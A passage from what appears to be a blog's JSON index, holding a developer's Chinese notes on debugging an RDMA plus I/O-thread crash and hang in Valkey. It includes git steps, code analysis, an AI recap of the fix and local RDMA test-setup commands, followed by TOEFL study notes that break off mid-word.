pick这样的操作.)\n比如你需要知道自己当前的分支历史究竟做了什么修改:\n$ git log --author=\u0026#34;Ada-Church-Closure\u0026#34; --oneline origin/fix-rdma-io-threads 直接重建分支,然后做cherry pick:\ncd /home/ada/Project/valkey git fetch upstream # 在「纯净 9.0」上重建分支（名字仍用 PR 分支名，方便直接更新 PR） git checkout -B fix-rdma-io-threads upstream/9.0 git cherry-pick 3fc639514 d8f8b3991 0dabb3dc9 df67b5d6d 0eb377393 ecf0dd743 \\ 36dbf89a9 3a43bd4f5 7f139ef5c 454b41518 48611b619 a3e370894 685ed1ec4 95b637d29 claude最后复盘 # 📋 问题总结\n你在解决 Issue #3112: 当 RDMA 与 I/O 线程配合使用时，在高并发管道场景下（如 -P 32）会出现两个严重问题：\n崩溃问题 (Crash) 现象: 断言失败 c-\u0026gt;cmd_queue.len == 0\n根本原因: 在 processIOThreadsReadDone 中，connUpdateState(c-\u0026gt;conn) 在命令执行之前被调用。对于 RDMA，这会同步触发 CQ (Completion Queue)，导致在cmd_queue 仍然有大量命令时重新进入解析逻辑，违反了断言条件。\n挂起问题 (Lost Wakeup) 现象: 服务器完全卡死\n根本原因: I/O 线程由于批处理限制可能在 querybuf 中留下未解析的数据。由于 RDMA 的 CQ\n是边缘触发的，如果不主动排空缓冲区就返回事件循环，系统不会再次唤醒，导致死锁。\n🔧 解决方案演进\n初版方案 (commit 3fc6395)\n在 src/networking.c:6378 的 processIOThreadsReadDone 函数中：\n// 1. 创建一个列表跟踪已处理的客户端 list *handled_clients = listCreate(); // 2. 延迟 connUpdateState 调用 connUpdateState(c-\u0026gt;conn); // ❌ 移除过早的调用 // 3. 收集处理过的客户端 listAddNodeTail(handled_clients, c); // 4. 先批量执行命令队列 processClientsCommandsBatch(); // 5. 同步排空残留的 querybuf listRewind(handled_clients, \u0026amp;handled_li); while ((handled_ln = listNext(\u0026amp;handled_li))) { client *c = listNodeValue(handled_ln); if (c-\u0026gt;querybuf \u0026amp;\u0026amp; c-\u0026gt;qb_pos \u0026lt; sdslen(c-\u0026gt;querybuf)) { processPendingCommandAndInputBuffer(c); // 🔑 关键：同步排空 } connUpdateState(c-\u0026gt;conn); // ✅ 安全时机调用 } UAF 问题修复 (commit 0dabb3d → df67b5d)\n发现问题: @sarthakaggarwal97 指出直接存储客户端指针可能导致 UAF（Use-After-Free），因为 processPendingCommandAndInputBuffer 可能释放客户端\n尝试方案1: 使用客户端 ID 列表 + lookupClientByID（性能开销）\n最终方案: 修改 processClientsCommandsBatch 和 addCommandToBatchAndProcessIfFull，只在客户端存活时才加入 handled_clients 列表\nTLS 兼容性修复 (commits 0eb3773 + ecf0dd7)\n问题: TLS 在 CONN_STATE_ACCEPTING 状态时也需要更新状态\n解决: 在 accept 状态下，如果是 TLS 连接，仍然调用 connUpdateState\n代码简化 (commit 7f139ef)\n让 beforeNextClient 直接返回 int 而不是包装函数，简化逻辑 清理改进 (commits 48611b6 + a3e3708)\n移除不必要的 expire.h 包含\n其他小的代码格式修正\n🎯 关键设计要点\n边缘触发感知: RDMA 的 CQ 是边缘触发的，必须在返回事件循环前主动排空所有缓冲数据\n重入安全: connUpdateState 对 RDMA 会同步触发 CQ，必须在命令队列为空时才能安全调用\nTCP/TLS 兼容: 这个改动对 TCP 是无害的（甚至略微减少 epoll 轮询），对 TLS 也正确处理了 accept 状态\nUAF 防护: 通过在正确的时机加入列表，避免操作已释放的客户端\n✅ 验证方法\n你的压力测试脚本非常棒：\n同时运行 4 个 TCP + 4 个 RDMA benchmark 进程\n使用高并发参数（-c 200 -P 64）\n随机杀死部分进程模拟网络中断\n服务器应该稳定运行，无崩溃、无挂起\n📊 当前状态\n✅ 核心测试通过（test-ubuntu-io-threads, test-ubuntu-tls-io-threads）\n✅ RDMA 专项测试通过\n⚠️ 两个 CI 失败是 flaky tests（不稳定测试），与你的改动无关\n👍 获得 @pizhenwei 和 @zuiderkwast 的 LGTM（Looks Good To Me）\n🎯 已加入 Valkey 9.0 和 9.1 的待移植列表\n💡 我的评价\n这是一个非常高质量的修复：\n问题分析透彻: 清楚识别了边缘触发和重入的本质问题\n逐步优化: 从初版到最终版，通过 code review 不断改进\n向后兼容: 对 TCP/TLS 零影响\n测试完善: 提供了复现步骤和压力测试脚本\n唯一还需要做的是等待 maintainer 处理那两个 flaky tests，然后就可以合并了！\n","date":"2026-05-17","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-multithread-rdma-crash/","section":"Valkey","summary":"\u003cp\u003e本文记录了作者尝试解决这个[CRASH] Does Valkey over RDMA not support I/O threads? #3112 的问题.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/valkey-io/valkey/issues/3112\" target=\"_blank\"\u003ehttps://github.com/valkey-io/valkey/issues/3112\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e总结一次实验的workflow,这是拉的战线最长的一次,前前后后整了一个多月还没merge进去.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eserver端\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 解开当前进程的内存锁\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo prlimit --memlock\u003cspan class=\"o\"\u003e=\u003c/span\u003eunlimited --pid \u003cspan class=\"nv\"\u003e$$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 创建在内存中工作的虚拟网卡\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo modprobe dummy\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ip link add dummy0 \u003cspan class=\"nb\"\u003etype\u003c/span\u003e dummy\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ip link \u003cspan class=\"nb\"\u003eset\u003c/span\u003e dummy0 up\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 配置本地的IP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ip addr add 10.0.0.1/24 dev dummy0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 做RXE的绑定\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo rdma link add rxe_dummy \u003cspan class=\"nb\"\u003etype\u003c/span\u003e rxe netdev dummy0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 停止本来运行的 valkey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl stop valkey\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 编译一遍\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake \u003cspan class=\"nv\"\u003eBUILD_RDMA\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003eyes \u003cspan class=\"nv\"\u003eUSE_FAST_FLOAT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003eyes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 跑server\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port \u003cspan class=\"m\"\u003e6379\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eclient端\u003c/strong\u003e\u003c/p\u003e","title":"多线程下RDMA的崩溃问题","type":"valkey"},{"content":"多线程下RDMA的崩溃问题 多线程下的RDMA的崩溃问题(无锁队列IO模型) 上述的两个问题都和RDMA通知模型相关. 对 socket/unix，ConnectionType 里 update_state 为 NULL，connUpdateState 基本是空操作。 对 RDMA，updateRdmaState 会 直接调用数据面：\nstatic void updateRdmaState(struct connection *conn) { rdma_connection *rdma_conn = (rdma_connection *)conn; connRdmaSetRwHandler(conn); connRdmaEventHandler(NULL, -1, rdma_conn, 0); } 而 connRdmaEventHandler 会 poll CQ，并在未 postpone 时 循环调用 read_handler（把已 DMA 到 rx.addr 的数据交给上层）：\nstatic void connRdmaEventHandler(struct aeEventLoop * el, int fd, void * clientData, int mask) { rdma_connection * rdma_conn = (rdma_connection * ) clientData; connection * conn = \u0026amp; rdma_conn - \u0026gt; c; struct rdma_cm_id * cm_id = rdma_conn - \u0026gt; cm_id; RdmaContext * ctx = cm_id - \u0026gt; context; int ret = 0; UNUSED(el); UNUSED(fd); UNUSED(mask); ret = connRdmaHandleCq(rdma_conn); if (ret == C_ERR) { conn - \u0026gt; state = CONN_STATE_ERROR; return; } /* uplayer should read all */ // 认为上层应该读取所有的数据,每次更新状态都可能重入readQueryFromClient. while (!(rdma_conn - \u0026gt; flags \u0026amp; RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE) \u0026amp;\u0026amp; ctx - \u0026gt; rx.pos \u0026lt; ctx - \u0026gt; rx.offset) { if (conn - \u0026gt; read_handler \u0026amp;\u0026amp; (callHandler(conn, conn - \u0026gt; read_handler) == C_ERR)) { return; } } 问题是怎么被RDMA + IO多线程引入的: 用因果链说清楚：\nIO 线程读完数据后，主线程在 processClientIOReadsDone 里会 connSetPostponeUpdateState(c-\u0026gt;conn, 0) 然后 connUpdateState(c-\u0026gt;conn)（你当前 unstable 上仍是这样，见下段引用）。 对 RDMA，connUpdateState → updateRdmaState → connRdmaEventHandler → connRdmaHandleCq + 可能多次 read_handler。也就是说：主线程在处理「某次 IO 线程刚读完」的收尾时，会立刻再跑一轮传输层读逻辑。 这与 「IO 线程刚把该 client 的读标成 COMPLETED、主线程正在做 parse / batch / 状态机」 叠在一起，容易出现： 重入：再次触发读路径、再次尝试 把同一 client 丢进 IO 线程（trySendReadToIOThreads），或 状态与假设不一致：例如某处 serverAssert(c-\u0026gt;io_read_state == ...) 认为「此时只应处于 IDLE/COMPLETED 之一」，但 RDMA 已在同栈帧里又改了一轮读状态。 TCP 不太会这样：update_state 为 NULL，不会在 processClientIOReadsDone 中间泵出一轮新读；RDMA 则 把「泵 CQ + 调 read_handler」绑在了 connUpdateState 上，所以 同样的 networking 代码路径，在 RDMA 上语义更重，断言或重入问题就暴露出来。 # [BUG] RDMA: Assertion \u0026lsquo;c-\u0026gt;cmd_queue.len == 0\u0026rsquo; failed with high pipelining under new I/O queue model # 为什么一直出问题的都是这个断言?\n/* Parse one or more commands from the query buf. * * This function may be called from the main thread or from the I/O thread. 主线程或者IO线程都可以进行调用. * * Sets the client\u0026#39;s read_flags to indicate the parsing outcome. If multiple * commands could be parsed, additional parsed commands are stored in the * client\u0026#39;s command queue. */ // 这里的意思应该是解析buffer. void parseInputBuffer(client *c) { /* The command queue must be emptied before parsing. */ serverAssert(c-\u0026gt;cmd_queue.len == 0); 一次解析前，命令队列必须是空的。 不允许在「上一轮解析留在队列里的命令还没被 processInputBuffer 消费路径处理完」时再开一轮 parseInputBuffer，否则两套解析状态会叠在一起，队列语义也不清晰。 主线程里消费顺序在 processInputBuffer 的循环里：先尽量 consumeCommandQueue 弹出已解析命令执行，只有队列弹空了才会再 parseInputBuffer 去解析 querybuf 里剩余字节。 主线程在循环内部不断解析指令:\nint processInputBuffer(client *c) { /* Parse the query buffer and/or execute already parsed commands. */ while ((c-\u0026gt;querybuf \u0026amp;\u0026amp; c-\u0026gt;qb_pos \u0026lt; sdslen(c-\u0026gt;querybuf)) || c-\u0026gt;cmd_queue.off \u0026lt; c-\u0026gt;cmd_queue.len) { if (!canParseCommand(c)) { break; } // ... /* If commands are queued up, pop from the queue first */ // 也就是当队列为空的时候才会进行调用. if (!consumeCommandQueue(c)) { parseInputBuffer(c); prepareCommandQueue(c); } // ... 可以看这个函数:\n/* Pops a command from the command queue and sets it as the client\u0026#39;s current * command. Returns true on success and false if the queue was empty. */ static bool consumeCommandQueue(client * c) { cmdQueue * queue = \u0026amp; c - \u0026gt; cmd_queue; // 这里就是当队列为空的时候才会返回false. if (queue - \u0026gt; off \u0026gt;= queue - \u0026gt; len) return false; parsedCommand * p = \u0026amp; queue - \u0026gt; cmds[queue - \u0026gt; off++]; /* Combine the command\u0026#39;s read flags with the client\u0026#39;s read flags. Some read * flags describe the client state (AUTH_REQUIRED) while others describe the * command parsing outcome (PARSING_COMPLETED). */ c - \u0026gt; read_flags |= p - \u0026gt; read_flags; c - \u0026gt; argc = p - \u0026gt; argc; c - \u0026gt; argv = p - \u0026gt; argv; c - \u0026gt; argv_len = p - \u0026gt; argv_len; c - \u0026gt; argv_len_sum = p - \u0026gt; argv_len_sum; c - \u0026gt; net_input_bytes_curr_cmd = p - \u0026gt; input_bytes; c - \u0026gt; parsed_cmd = p - \u0026gt; cmd; c - \u0026gt; slot = p - \u0026gt; slot; if (queue - \u0026gt; off == queue - \u0026gt; len) { /* The queue is empty. Don\u0026#39;t free it here, because if parsing is done in * I/O threads, we want to free it in I/O threads too, to avoid * fragmentation. */ queue - \u0026gt; off = queue - \u0026gt; len = 0; } return true; } I/O 线程路径不走这个循环，而是直接解析（见下节），因此同样受 parseInputBuffer 入口 len == 0 的约束. ioThreadReadQueryFromClient 在 I/O 线程里读完 querybuf 后，直接调用 parseInputBuffer（没有先走 processInputBuffer 那套「先消费队列」逻辑）：\nvoid ioThreadReadQueryFromClient(client *c) { serverAssert(c-\u0026gt;io_read_state == CLIENT_PENDING_IO); /* Read */ readToQueryBuf(c); // 这里就是直接进行解析的操作. parseInputBuffer(c); trimCommandQueue(c); prepareCommandQueue(c); 高 pipeline（例如 -P 256）时，一次 parseInputBuffer 往往会在 cmd_queue 里塞很多条已解析命令（len 很大），同时 querybuf 里可能还有未解析的尾巴（或后续 RDMA 又写入新数据）。主线程稍后要配合 addCommandToBatchAndProcessIfFull / processClientsCommandsBatch 等慢慢消费这些队列项。\n第一次 I/O 线程：parseInputBuffer 成功，cmd_queue.len 已是 256（举例），主线程还没开始消费。 主线程 processClientIOReadsDone 过早 connUpdateState → 嵌套 readQueryFromClient → postponeClientRead 再次成功 → 又投递 第二次读任务。 第二次 I/O 线程再次进入 ioThreadReadQueryFromClient → 再次 parseInputBuffer(c) → 入口 serverAssert(c-\u0026gt;cmd_queue.len == 0)，此时 len 仍为上一次的 256 → 断言失败。 也就是说：不是「解析算法写错了」，而是 「在仍有未消费 cmd_queue 时，又安排了一次 I/O 线程解析」；高 pipeline 让第一次解析后 cmd_queue.len 长期不为 0，所以必现。 简单来说就是: c-\u0026gt;cmd_queue.len == 0 断言失败，是因为 I/O 线程第一次 parseInputBuffer 已把大量 pipeline 命令放进 cmd_queue，而主线程在 processClientIOReadsDone 里过早执行 RDMA 的 connUpdateState，嵌套触发 readQueryFromClient → 再次 trySendReadToIOThreads，第二次 I/O 线程又调用 parseInputBuffer，此时队列非空，直接违反「解析前队列必须空」的不变量。 ","date":"2026-05-15","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-multithread/","section":"Valkey","summary":"\u003cp\u003e\u003cstrong\u003e多线程下RDMA的崩溃问题\u003c/strong\u003e\n\u003cstrong\u003e多线程下的RDMA的崩溃问题(无锁队列IO模型)\u003c/strong\u003e\n上述的两个问题都和RDMA通知模型相关.\n对 socket/unix，\u003ccode\u003eConnectionType\u003c/code\u003e 里 \u003ccode\u003eupdate_state\u003c/code\u003e 为 NULL，\u003ccode\u003econnUpdateState\u003c/code\u003e 基本是空操作。\n对 RDMA，\u003ccode\u003eupdateRdmaState\u003c/code\u003e 会 直接调用数据面：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eupdateRdmaState\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003econnection\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003econn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"n\"\u003erdma_connection\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003erdma_conn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erdma_connection\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003econn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003econnRdmaSetRwHandler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econn\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"nf\"\u003econnRdmaEventHandler\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erdma_conn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e而 \u003ccode\u003econnRdmaEventHandler\u003c/code\u003e 会 \u003cstrong\u003epoll CQ\u003c/strong\u003e，并在未 postpone 时 循环调用 \u003ccode\u003eread_handler\u003c/code\u003e（把已 DMA 到 \u003ccode\u003erx.addr\u003c/code\u003e 的数据交给上层）：\u003c/p\u003e","title":"为什么多线程会出现问题的总结","type":"valkey"},{"content":"这个应该就是多线程的情况下才会发生的问题,之后再看. 这是我个人在做测试的时候发现valkey的一个新的问题,可以先试试 workflow可以这样: 首先在unstable上进行编译,先起一个服务器,但是不要更改valkey.conf,之后压测的时候应该默认会产生对应的RDB文件才对. 我们就在主线程上做测试看看是否会出现问题.\n# 解开当前进程的内存锁 sudo prlimit --memlock=unlimited --pid $$ # 创建在内存中工作的虚拟网卡 sudo modprobe dummy sudo ip link add dummy0 type dummy sudo ip link set dummy0 up # 配置本地的IP sudo ip addr add 10.0.0.1/24 dev dummy0 # 做RXE的绑定 sudo rdma link add rxe_dummy type rxe netdev dummy0 # 停止本来运行的 valkey sudo systemctl stop valkey # 编译一遍 make BUILD_RDMA=yes USE_FAST_FLOAT=yes # 跑server sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 之后我们起客户端做压测:\n# 解开当前进程的内存锁 sudo prlimit --memlock=unlimited --pid $$ # 直接做暴力压测,还可以尝试比这个参数更高的 ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 100 -P 32 -n 20000000 -t get --rdma 然后我们生成了RDB文件:dump.rdb 我发现在unstable分支上确实不会出现问题,可以之后在解决多线程的分支上解决问题. 所以先解决多线程的问题再说.\n","date":"2026-05-15","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-multithread-rdb-crash/","section":"Valkey","summary":"\u003cp\u003e这个应该就是多线程的情况下才会发生的问题,之后再看.\n这是我个人在做测试的时候发现valkey的一个新的问题,可以先试试\nworkflow可以这样:\n首先在unstable上进行编译,先起一个服务器,但是不要更改valkey.conf,之后压测的时候应该默认会产生对应的RDB文件才对.\n我们就在主线程上做测试看看是否会出现问题.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 解开当前进程的内存锁\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo prlimit --memlock\u003cspan class=\"o\"\u003e=\u003c/span\u003eunlimited --pid \u003cspan class=\"nv\"\u003e$$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 创建在内存中工作的虚拟网卡\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo modprobe dummy\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ip link add dummy0 \u003cspan class=\"nb\"\u003etype\u003c/span\u003e dummy\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ip link \u003cspan class=\"nb\"\u003eset\u003c/span\u003e dummy0 up\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 配置本地的IP\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ip addr add 10.0.0.1/24 dev dummy0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 做RXE的绑定\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo rdma link add rxe_dummy \u003cspan class=\"nb\"\u003etype\u003c/span\u003e rxe netdev dummy0\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 停止本来运行的 valkey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl stop valkey\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 编译一遍\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emake \u003cspan class=\"nv\"\u003eBUILD_RDMA\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003eyes \u003cspan class=\"nv\"\u003eUSE_FAST_FLOAT\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003eyes\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 跑server\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port \u003cspan class=\"m\"\u003e6379\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e之后我们起客户端做压测:\u003c/p\u003e","title":"多线程下RDB文件crash","type":"valkey"},{"content":" TOEFL # ​\t这个笔记用来记录托福的备考.我是报了一个新东方网课,但是肯定自己要好好准备,线下的课程太贵并且我懒得通勤,大概就是这样的.\n​\tPractice makes perfect!!!\n​\t好难啊托福,尽力学吧.\nOK,也是直接拿下,虽然不是特别高,但是大概够用了.\nOverview # ​\t简单尝试了一下过去30个题的时候,很难很快,只能写对14个题目,不过有20分.\n​\t又尝试了20个题目,可以时间上相对宽松一点.\n​\t第一次听能听20+,但是能注意到有些比较难的地方就是英语文化相关的东西,听力问题不会太追求细节,这是好的.\n​\t口语第一次说感觉依托,但是批改是20?那可能是我口音还可以的缘故,但是我觉得不是很难练出来,多说,多思考.\n​\t看了几个备考的视频,就是说是每个人的情况都不一样,好好准备就可以练好.\n​\t背单词的话就是XDF托福pro和墨墨背单词,墨墨背单词是扩充词汇量,XDF托福pro是收集阅读和听力中陌生的单词.\n每日练习:\n​\t背单词 + 听力or阅读(单词积累) + 口语or写作(素材积累) + 上课\n​\t感觉备考基本就是这样,唯一要努力的就是去做.\nSpeaking # ​\t我个人感觉托福口语的难度还是小于雅思的,后面三篇就比较吃听力,第一篇就是要大量的积累和练习.首先敢说,其次说满,最后说好.\nTask1 独立口语 # 注意就是说完不重要,说清楚最重要.\n当一件事情能耗费时间和精力的时候:\n该不该养宠物?\n该不该学乐器?\n方法1:找不同的受损方和受益方:\n方法2:讲具体的故事情节来占用时间:\n加一些情感句子:\n最后没话说了强行占用时间:\n常用语料 # 娱乐休闲\u0026mdash;\u0026gt;放松减压 # 工作:projects tasks\nrelax and unwind\n省时间做更重要的事情. # 提升沟通能力 # during the course\n增长见识 # Task2 会话观点 # 1.记主题\n2.理解观点,记录\n说清楚比说完更重要.\n你可以不看计时器.\n速记笔记\n干掉元音字母 也是外国人常用的\nfood fd\nweek wk\nroom rm\nreward rwd\nhousework hswk\nnbhd\n这里就是要多学习新的表达.\n学生建议信:\n学生的proposal\nTask3 学术概念解释 # 如何回答问题:\n一个范文:\n重点使用:\nIn this case\u0026hellip;\u0026hellip;\nas a result\u0026hellip;\u0026hellip;\nwhich means\u0026hellip;\u0026hellip;\n作连续句子串联,如果你想不起来了.\n表示喜欢:\nbe fond of\u0026hellip;\u0026hellip;\nchances are\u0026mdash;大概率\nTask4 学术讲座总结 # 模板基本就是:\n第一个直接看题干或者总结一下.\n说清楚最重要,后面不会可以不说.\n1.海底生物生存\n缓冲结构:get a greate\n举例子:let\u0026rsquo;s talk about\n2.目标客户\nIt\u0026rsquo;s very clear that\u0026hellip;\u0026hellip;=Apparently\n3.古代圈养动物\nWriting # 练习方法:\nvince老师.\u0026mdash;B站\n30天公众号练习.\n句子积累 # 社会问题分析:\n多使用名词的并列 + 精确的副词\n传统冲突:放烟花 set off fireworks\n题目抽象,但是我们写比较细节的例子.\n更自私了还是更利他的社会:\n学术写作 # ​\t清晰表达,相关,连贯.\n​\t查重严格.\n​\t解释,例子,细节.\n​\t多样,准确,地道的用语,基本没有语法和用词的错误.\n​\t短,重视逻辑.\n闭合式问题和开放类问题\n1.闭合类问题进行选择\t两方观点\u0026mdash;\u0026gt;选择之后选择新的观点(也可以进行原来观点的详细的补充,可以但是不鼓励,要更深入)\n选择A,可以让步 + 反驳B 但是要把自己的观点写明白\n2.开放类可以选择,也可以给出自己观点\u0026mdash;\u0026gt;给明确观点(就是说你自己可以举例子,那么就是开放的)\nA好不好?\u0026mdash;\u0026gt;可以中庸.\nA是什么?\u0026mdash;\u0026gt;选定是什么.\n论证手法 # Topic Sentence:\n1.写完整的句子 I agree with the statement that + \u0026hellip;\u0026hellip;\n2.should be an abstract view point\n3.needs to be concise\n4.guides the whole paragraph\n因果关系:\n获取 get access sth/access to sth\nbecause of\tthanks to\tSince\tBecause\n对比:\nIn addition\u0026hellip;\u0026hellip;\t另外怎么样\u0026hellip;\u0026hellip;\nFor instance\u0026hellip;\u0026hellip;\t例如,比如\u0026hellip;\u0026hellip;\nUnlike the modern spots, the historical sites usually show(provide exposure to) long history and impressive culture to the spectators.\nsb be exposed to culture./sth provide exposure to.\nCompared with\u0026hellip;\u0026hellip;\nBy contrast\u0026hellip;\u0026hellip;\u0026mdash;\u0026gt;引出和这个句子之前的相反的思路\nContrary to the common belief that\u0026hellip;\u0026hellip;\u0026mdash;\u0026gt;引出相反的想法.\n让步转折.\u0026mdash;\u0026gt;不错,感觉更辨证.\n分类讨论:(分类,但是注意不要纯否定别人)\n综合写作 # 假说类/优缺点类\n简单做笔记\u0026mdash;抄英文关键词\nplausible 